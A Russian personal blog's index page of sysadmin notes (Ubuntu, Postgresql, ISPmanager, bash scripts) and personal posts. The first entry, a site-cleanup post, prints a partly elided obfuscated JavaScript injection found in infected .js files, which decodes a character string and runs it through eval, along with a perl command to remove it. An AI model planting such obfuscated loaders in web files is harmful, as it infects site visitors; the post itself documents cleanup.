yandex

Сабынич. Из Сибири с любовью

о природе, личной жизни и ИТ

Вирусы на сайте. Продолжение. Новый паттерн

Найден новый паттерн. Заражаются все .js-файлы try{q=document.createElement(«d»+»i»+»v»);q.appendChild(q+»»);}catch(qw){h=-012/5;}try{prototype;}catch(brebr){st=String;zz=’al’;zz=’zv’.substr(123-122)+zz;ss=[];f=’fr’+’om’+’Ch’;f+=’arC’;f+=’ode’;w=this;e=w[f[«substr»](11)+zz];n=»19$50$57.5$ <часть кода убрана> 9.5$19$19.5$28.5″[((e)?»s»:»»)+»p»+»lit»](«a$»[((e)?»su»:»»)+»bstr»](1));for(i=6-2-1-2-1;i-681!=0;i++){j=i;if(st)ss=ss+st.fromCharCode(-1*h*(1+1*n[j]));}q=ss;e(q);} Выкусывается командой: find ./ -type f -name «*.js» -exec perl -pi -e ‘s/try\{q=documen.*q=ss;e\(q\)//g»’ ‘{}’ \; Не забываем перед операцией делать резервную копию директории/сайта.

Установка последнего Chromium на Ubuntu 12.04 из ppa

Существует сторонний репозиторий имени Google, который устанавливается он в два захода: wget -q -O — https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add — sudo sh -c ‘echo «deb _http://dl.google.com/linux/chrome/deb/ stable main» >> /etc/apt/sources.list.d/google.list’ После чего обновляем список доступных пакетов sudo apt-get update И устанавливаем sudo apt-get install <имя пакета> Где в качестве <имя пакета> можно использовать следующие […]

Массовое добавление подписчиков в список рассылки ISPmanager

for i in `cat <файл>`; do  /usr/local/ispmgr/sbin/mgrctl -m ispmgr maillist.subscriber.edit name=$i plid=<список рассылки> elid=<название списка рассылки> su=<пользователь> sok=yes; done    где:       <файл> — файл со списком почтовых адресов по одному в строку       <список рассылки> — список рассылки в формате mail@list.dom       <название списка рассылки> — произвольное наименование списка рассылки       <пользователь> — пользователь-владелец […]

Установка Postgresql 8.4 на Debian 6

Даже не знаю, с чего начать описание даного небольшого руководства. Дано: VPS с Debian 6.0.5 Требуется: Установить Postgresql   Казалось бы, ничего проще нет! Но есть один ньюанс.. =) Обновим информацию о доступном ПО и обновим его на сервере apt-get update apt-get upgrade Установим Postgresql apt-get install postresql Ниже идет вывод процесса установки, где я […]

Госнаркоконтроль не рекомендует произведения великих авторов

Сегодня проскочила по соц.сети видео с репортажем о том, что Госнаркоконтролю не нравятся некоторые авторы классической литературы. В этот список попал даже автор произведений о Тарзане и Джоне Картере — Берроуз (Кстати, в каких его произведениях есть упоминания о наркотических веществах?) Странно, что про Булгакова с его «Морфием» из цикла «Записки юного врача» и Николая […]

Скрипт для создания ежесекундных файлов во вложенных директориях

Скрипт работает все время в цикле, копируя файлик data.xml во вложенные директории, разбитые по времени в формате /%день%-%месяц%/%час% в формате %минуты%-%секунды%. Раз в сутки создается архив прошедшего дня, после чего директория прошедшего дня удаляется. #!/bin/bash CD=`(date +%d-%m)` HR=`(date +%H)` SC=$(date +%M-%S) OLD=`(date +%d-%m -d «1 day ago»)` for i in {0..86400}; do if [ -d […]

10 вещей, которые следует сделать сразу после установки Ubuntu 12.04

Буквально в считанные часы после релиза, на специализированных ресурсах появились различные статьи, описывающие нововведения новой версии Ubuntu 12.04, а так же небольшие действия, которые следует сделать сразу после установки. Эта статья перевод с OMG!Ubuntu.co.uk англоязычного блога, посвященный исключительно Ubuntu. Автор статьи — Джо Шелдон Итак, вы уже успели скачать и установить новую версию Ubuntu, но […]

Список прочитанных книг за 2000-2006 годы

Откопал список книг, которые я прочитал в период с 2000 — 2003 по 2006 год или около того. Все это было прочитано с экрана компутера, с помощью программы BookSeer (возможно, не все, но их я тоже внес в базу данных и пометил как прочитанные). Даже удивился, когда увидел, что есть версия от 2011 года. Эта программа […]

Вирусы на сайте. Поиск и удаление кода.

Тема появления вредоносного кода на страницах сайта очень популярная. Хотел в заголовке добавить «Часть 1», но потом решил сделать в виде бесконечной истории =) Как уже все должно быть известно, нередко (я бы даже сказал, в большинстве случаев) пользователи сами становятся носителями инфекции (в ботнет-среде таких называют «зомби»). И внедрение кода может происходить следующим способом. […]

Ошибка в модуле tagadelic. Notice: Undefined index: voc в функции theme_tagadelic_weighted()

Решил обзавестись облаком тэгов (не придумал ничего лучше, чем влепить ее в самый низ) и из всего малообразия модулей выбрал tagadelic, но при нажатии ссылки «Еще» возникала ошибка. Notice: Undefined index: voc в функции theme_tagadelic_weighted() (строка 334 в файле …/sites/all/modules/tagadelic/tagadelic.module). Notice: Trying to get property of non-object в функции theme_tagadelic_weighted() (строка 334 в файле …/sites/all/modules/tagadelic/tagadelic.module). […]

Пролистать наверх